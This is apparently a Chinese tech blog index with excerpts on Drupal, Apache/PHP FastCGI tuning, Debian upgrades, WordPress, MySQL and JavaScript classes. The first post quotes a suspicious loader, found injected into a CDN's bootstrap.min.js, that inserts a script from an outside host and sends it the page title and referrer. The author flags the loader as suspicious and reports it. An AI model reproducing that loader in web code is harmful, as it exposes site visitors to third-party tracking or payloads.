cdn.bootcss.com 奇怪的JS代码注入

//cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js

var a=function(b){var d=document,e=d.createElement('script');e.src=b;var f=d.getElementsByTagName('head'),i=(f&&f.length>=1&&f[0])||d.body;i.insertBefore(e,i.firstChild)};a("http://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js?_veri=20151101");a("http://ca.5173car.com/re/re.php?src=t6422&t="+encodeURIComponent(document.title)+"&r="+encodeURIComponent(document.referrer)+"");

注意到了吗?上述返回代码中奇怪的注入了一个连接地址,本来应该直接返回bootstrap的代码的。非常可疑,有空再分析吧。

http://ca.5173car.com/re/re.php?

(4)

Drupal7 安装使用笔记

Drupal 是一个开放、集成、开源、插件化、先进的CMS平台。

Drupal is an open source content management platform powering millions of websites and applications. It’s built, used, and supported by an active and diverse community of people around the world.

安装:很简单了,下载、上传,直接访问URL,自动进入安装过程。

第一次使用:

  • 通过 内容>添加内容 来建立一些网页和文章,在添加内容的同时你还可以指定让“内容”自动建立一个菜单项目
  • 通过 结构>区块 定义网站各功能区块的位置,表现形式。
  • 通过 结构>内容类型 可以创建、修改内容类型,默认的有 Article 和 Basic Page,注意在内容类型定制中可以充分体会到Drupal的强大,可以为内容类型创建新的字段,并指定字段配置、显示方式,这些字段包括 文本、数字、日期,也包括图片、附件、媒体等
  • 通过 结构>分类 来建立维护网站的分类(Texonomy 术语) 列表,这些分类可以说Tags形式的平面分类,也可以支持树状的层次分类。分类列表可以通过 内容类型定制来指定某个字段使用某个分类列表。
  • 通过 外观>配置 来选择模板,定义模板的一些基本外观参数,比如颜色。
  • 至此Drupal已经完成一个简单网站的定制搭建了!你可能在寻找如何建立一个分类(分级)的目录列表,似乎因为文化的差异,Drupal对这个需求似乎不是很重视,你可以在 结构>分类 中发现,每个数术语条目都是可以点击并打开一个简单的文档列表页面的,打开地址类似于:”…./taxonomy/term/x"。你可以复制这些地址,并且用这些地址建立菜单条目,很遗憾,基本的(没有插件支持的)Drupal不能自动完成这项工作。

 

刚安装完的Drupal具备了一些基本功能,但是如果准备用来建立一个基本的网站的话,我们会发现还缺少一些东西,所以我们需要各种各样“模块”(类似于插件),很快你会发现Drupal有着数量众多的模块,包括编辑器、电子商务、长篇手册、项目管理、电子支付、图片库、媒体库、论坛等等,种类繁多,必有满足你需求的东西。

介绍一些必要模块吧,这个列表类似于装机必备:

  • Views:视图定制,可以对各种内容的呈现形式进行深度定制,主要用来实现(定制)各种各样的列表,包括页面列表、区块类别、分类列表等等。
  • Taxonomy Menu / Taxonomy Menu Trails :这一组合可以实现把树状分类结构自动挂接到某个菜单上,并且可以根据当前访问的内容页来正确高亮(HighLight)菜单条目,生成导航路径 (Breadcrumb)。注意:Taxonomy Menu Trails 的配置在内容类型定制页面里面。
  • Wysiwyg:强大的可视化编辑器集成,支持Ckeiditor,Fckeditor,TinyMCE等等至少8种主流编辑器
  • IMCE: 媒体浏览器,一般用来配合Wysiwyg来实现编辑器插入各种媒体,图片、Flash等等。它还需要一个 IMCE Wysiwyg API bridge ,才能实现和 Wysiwyg 的配合。
  • Localization update : 可以自动检测下载、升级Drupal 核心和各模块的翻译数据
  • Media: 类似于IMCE,和IMCE之间选择一个就行了,主要多支持了一个名为“ Media Selector ”的字段控件
  • PlUpload: 强大的第三方上传组件集成,支持拖拽上传,进度条等等,但是似乎目前和Drupal7的兼容还有问题。
  • insert: 可以把图像和文件字段的内容插入到文本编辑器中去。

 

 

(43)

Windows平台下Apache +PHP5.3 +FastCGI +XCache安装笔记 2011版

几点说明

1.PHP自5.3版起默认不在支持针对Windows的VC6编译版本,只提供VC9版本的,而APAche官方提供的Apache Windows编译包都是VC6的。所以我们需要使用第三方编译的VC9版本的Apache。

2.PHP 的 None Thread Safe 版本适用于CGI/FastCGI方式,而相应的Thread Safe版本适用于SAPI和Mod方式

3. http://www.apachelounge.com/download/ 这里提供了大量适用于Windows的LAMP有关预编译包,包括VC9版本的Apache和FastCGI,这个网站也是PHP官方推荐的网站。

版本选择及安装包获取

Apache 2.2 VC9   来源: http://www.apachelounge.com/download/
mod_fcgid-2.3.6-win32-x86  http://www.apachelounge.com/download/

PHP 5.3.6 nts vc9  来源:php.com
VC 2008 RunTime vcredist_x86 来源:php.com
XCache-1.3.0-php-5.3.0-nts-Win32-VC9-x86.zip 来源:http://xcache.lighttpd.net/pub/Releases/

总体安装过程

继续阅读“Windows平台下Apache +PHP5.3 +FastCGI +XCache安装笔记 2011版”

(153)

Windows下Apache 2.2+PHP 5.3安装及性能调优

测试环境:Windows 2003 Apache2.2(VC9) PHP 5.3(VC9 Non Thread Safe)
测试参数:ab -c 10 -t 10 http://adress

性能测试:静态HTML

测试结果:

Concurrency Level:      10
Time taken for tests:   10.000 seconds
Complete requests:      6554
Failed requests:        0
Write errors:           0
Total transferred:      2157253 bytes
HTML transferred:       288508 bytes
Requests per second:    655.40 [#/sec] (mean)
Time per request:       15.258 [ms] (mean)
Time per request:       1.526 [ms] (mean, across all concurrent requests)
Transfer rate:          210.67 [Kbytes/sec] received

性能测试:CIG方式

配置:

<directory>
    AllowOverride None
    Options None
    Order allow,deny
    Allow from all
</directory>

ScriptAlias /php5/ "E:/Servers/Php5.3/"
Action application/x-httpd-fastphp5 "/php5/php-cgi.exe"
AddType application/x-httpd-fastphp5 .php

测试结果:

Concurrency Level:      10
Time taken for tests:   10.016 seconds
Complete requests:      167
Failed requests:        0
Write errors:           0
Total transferred:      9958014 bytes
HTML transferred:       9931338 bytes
Requests per second:    16.67 [#/sec] (mean)
Time per request:       599.738 [ms] (mean)
Time per request:       59.974 [ms] (mean, across all concurrent requests)
Transfer rate:          970.95 [Kbytes/sec] received

性能测试:fcgid方式

配置:

LoadModule fcgid_module modules/mod_fcgid.so

    AddHandler fcgid-script .fcgi .php
    #php.ini的存放目录
    FcgidInitialEnv PHPRC "e:/Servers/Apache-confs/"
    # 设置PHP_FCGI_MAX_REQUESTS大于或等于FcgidMaxRequestsPerProcess,防止php-cgi进程在处理完所有请求前退出
    FcgidInitialEnv PHP_FCGI_MAX_REQUESTS 500
    #php-cgi每个进程的最大请求数
    FcgidMaxRequestsPerProcess 500
    #php-cgi最大的进程数
    FcgidMaxProcesses 5
    #最大执行时间
    FcgidIOTimeout 120
    FcgidIdleTimeout 120
    #php-cgi的路径
    FcgidWrapper "e:/Servers/Php5.3/php-cgi.exe" .php
    AddType application/x-httpd-php .php

	Options Indexes FollowSymLinks ExecCGI
	Order allow,deny
	Allow from all
	AllowOverride All

测试结果:

Concurrency Level:      10
Time taken for tests:   10.016 seconds
Complete requests:      375
Failed requests:        336
   (Connect: 0, Receive: 0, Length: 336, Exceptions: 0)
Write errors:           0
Total transferred:      20406982 bytes
HTML transferred:       20340934 bytes
Requests per second:    37.44 [#/sec] (mean)
Time per request:       267.083 [ms] (mean)
Time per request:       26.708 [ms] (mean, across all concurrent requests)
Transfer rate:          1989.76 [Kbytes/sec] received

结论

可以看到fcgid方式对比CGI方式,完成请求数位160:370,平均相应时间:599ms:267ms

有关PHP优化:http://www.vpser.net/opt/apc-eaccelerator-xcache.html
http://www.woniu.us/php_basic/123.html

目前使用的版本组合:
Apache 2.2 VC9
PHP 5.3.6 nts vc9
mod_fcgid-2.3.6-win32-x86
XCache-1.3.0-php-5.3.0-nts-Win32-VC9-x86.zip
VC 2008 RunTime vcredist_x86

(106)

OSGEO4W 在 Win2003 Server X64 的安装

试图在 Win2003 Server X64 R2下安装OSGEO4W,但遇到很多问题,似乎OSGEO4W这这个版本的Windows有兼容性问题。主要表现在安装过程的组件选择部分

Express不能正常安装,会出现没有相应的现象

Advance 安装中组件依赖关系选择和版本选择都会出错,反复手动选择安装,运行出现一些错误:R6034 等等,特别是Mapserver的安装

 

解决方法:

在一台Windows XP下安装OSGeo4W的全部需要的组件,然后复制到Win2003下,注意两个系统下的目录位置要相同

在2003下Reintstall一下Apache

 

完成…

后续关于MapServer的配置

安装的MapServer Itasca Demo Application存在一些问题,需要修改配置

1. D:\OSGeo\apps\mapserv-demo 下的 IMAGEPATH ,"\"和“/"问题,否则有临时文件读写错误

2.所有涉及的template文件需要增加一行”<!– MapServer Template –>“放在文件第一行,否则有模板错误提示

3.D:\OSGeo\apache\conf下httpd.conf,<Directory "d:\OSGeo/tmp/ms_tmp/"> 红色部分补上,否则看不到图

(139)

Javascript中的this详解

*本文代码中使用的 function dump(v,title), 是一个自己写的输出变量描述的函数。

如果你准备在JavaScript中写类,那么你必需对关键字 this 的使用有深刻的理解:

这是JavaScript手册中对 this的简单解释:

this:指当前对象。

对于 JScript 的客户版本,如果在其他所有对象的上下文之外使用 this,则它指的是 window 对象。

继续阅读“Javascript中的this详解”

(15)

Javascript类的原型对象和继承

基本对象分析

JavaScript中所有的东西都是对象,包括函数、字符、数字等等等。但是JavaScript没有Class这个概念。

JavaScript使用Function来模拟类,任何一个function都有一个对应的prototype对象来存储和扩展这个function的定义,也就是说原型对象是关联于函数的

我们计划使用new关键字来调用并生成新对象的函数,我们称为“构造函数”

一个基本的函数分析

function Car(){
	color = 'red';
};

echo(Car);
echo(Car.constructor);
echo(Car.prototype);
echo(Car.prototype.constructor);

输出结果 继续阅读“Javascript类的原型对象和继承”

(25)

Javascript类-构造方法和原型方法的区别

对Javascript来说,方法在本质上也是一种属性。

构 造方法 和构造属性一样,它是分别存储于每个实例之中的,相互之间是完全独立。

原型方法 和原型属性一样,他是存储于原型中的,每个实例中存储的实际上一 个指向原型的指针。

所有对原型方法的修改会影响到所有实例,而构造方法实际上只能通过实例来访问和修改,也只会影响到相应的实例。

先写结论:方法通常应该使用原型模式定义,并且在必要时通过原型来动态重定义,避免使用构造模式定义方法。

继续阅读“Javascript类-构造方法和原型方法的区别”

(28)

Javascript类- 几种属性的定义方式及区别

几种属性:

先看代码,这段代码中出现了类定义中可能使用到5种属性或者变量

function car(param1,param2){
    //构造变量
    var varProperty = 'This is a var Perperty';
    //构造属性
    this.constructProperty = 'This is a construct Property'
}

//原形属性
car.prototype.prototypeProperty = 'This is a prototype property';

//静态属性
car.staticProperty = 'This is a static property';

继续阅读“Javascript类- 几种属性的定义方式及区别”

(12)

Debian+ISPCP 环境下 eAccelerator效果测试

硬件:CPU 2.5 / 1G内存 / VMEsxi虚拟环境 :roll:

软件:Debian Lenny 5.0 + ISPCP 1.0.2 stable

工具:apache 里的AB

声名:这是在一个非标准环境下的测试,测试结果不具有普遍可比性,仅供参考

eAccelerator的对比测试结果

测试应用网站:3个

  • A 一个简单的模拟PHPINFO类页面,提取系统信息,显示,单文件程序
  • B 一个自己开发的CMS系统
  • C Wordpress BLOG,加载了一些常见插件

测试方式:使用 ab -t 60 -c 5 参数测试,每阶段2次测试取评价值,分2个阶段

  • P1 没有安装eAcceleratr
  • P2  安装了eAccelerator
AB 测试结果表 (请求处理/秒)
       P1 P2  
Req/S CPU%  Req/S  CPU%
A INFO   73 40   75  20
B CMS   8.72  100  16.77  95
C WordPress  1.22  100  1.76 100 

分析:

继续阅读“Debian+ISPCP 环境下 eAccelerator效果测试”

(61)

从Etach到Lenny,Debian+ISPCP升级笔记

本来有一台Linux服务器,运行Debian 4.0 Etach 和 ISPCP 1.0.0 RC6

近期看到ISPCP正式版已经发布好久了,就决定升级.升级路线是首先 升级Debian 到 Lenny (5.0),然后再升级ISPCP

A 升级Linux

升级的方法很简单

1) (可选的) 检查你的更新源列表(sources.list)

apt-spy -d stable -t 5 update #是用Stable或者Lenny现阶段效果应该是一样的

有些指南让你加上国家和地区参数,时间没有必要,事实上我们访问最快的源往往都在国外。

你也可以手动去更新 /etc/apt/sources.list

2) 更新系统

aptitude update && aptitude upgrade

这一步可能需要反复运行几次,如果有软件版本冲突提示,你需要运行 aptitude 手动选择冲突解决方案

一直运行到aptitude update && aptitude upgrade提示没有需要更新软件包了,系统升级完成

3)可能遇到的问题

我遇到问题是:Mysql升级到5.2以后不能自动启动了,检查 /etc/log/daemon.log发现一个提示

/etc/init.d/mysql[2130]: ERROR: Using expire_logs_days without log_bin crashes the server. See README.Debian.gz

log_bin = /var/log/mysql/mysql-bin.log
expire_logs_days = 10

修改 /etc/mysql/my.cnf 解决问题

#log_bin = /var/log/mysql/mysql-bin.log #这一行本来是被注释掉的

expire_logs_days = 10

完成上述步骤后服务器及ISPCP应该仍然可以正常工作,检查处理完可能存在的问题后,准备升级ISPCP

B) 更新 ISPCP到 1.0.2

安装ISCP官方说明逐步操作

http://www.isp-control.net/documentation/doku.php?id=start:upgrade:rc

几点说明:

继续阅读“从Etach到Lenny,Debian+ISPCP升级笔记”

(15)

WordPress乱码问题完美解决方案

迁移了我的WordPress到一台新的服务器,并升级到最新版本,遇到的乱码问题,搜索了一下,解决方法有几种,修改 wp-inludes/wp-db.php,转换数据库编码等等,但都不完美,先提供完美解决方案如下:

1.指定新目标数据库的编码为 utf8_unicode_ci ,需要你的Mysql版本为4.1+,通过 数据库->操作 来操作

2.导入数据备份文件

3.修改wp-config.php 文件,增加一行: define(‘DB_CHARSET’,’utf8′);

OK,完成!

顺便提一下,低版本数据库导入高版本数据库时,先根据源数据编码指定好新的目标数据库默认编码(通过 数据库->操作 来操作),可以解决大部分数据升级到乱码问题。

(40)

MySQL的表类型和存储引擎

MySQL的表类型由存储引擎(Storage Engines)决定,类型包括MyISAM、innoDB、BDB等。

常用的存储引擎

MySQL 数据表主要支持六种类型 ,分别是:BDB、HEAP、ISAM、MERGE、MYISAM、InnoBDB。

这六种又分为两类,一类是”事务安全型”(transaction-safe),包括BDB和InnoDB;其余都属于第二类,称为”非事务安全型”(non-transaction-safe)。

BDB 全称是”Brekeley DB”,它是Mysql最早的具有事务能力的表的类型,由Sleepycat Software (http://www.sleepycat.com)开发。它提供了事务控制能力功能,它确保一组命令全部执行成功,或者当任何一个命令出现错误时所有命令的结果都被回退,可以想像在电子银行中事务控制能力是非常重要的。支持COMMIT、ROLLBACK和其他事务特性。最新版本的Mysql已经计划移除对BDB的支持,转而全力发展InnoDB。

继续阅读“MySQL的表类型和存储引擎”

(21)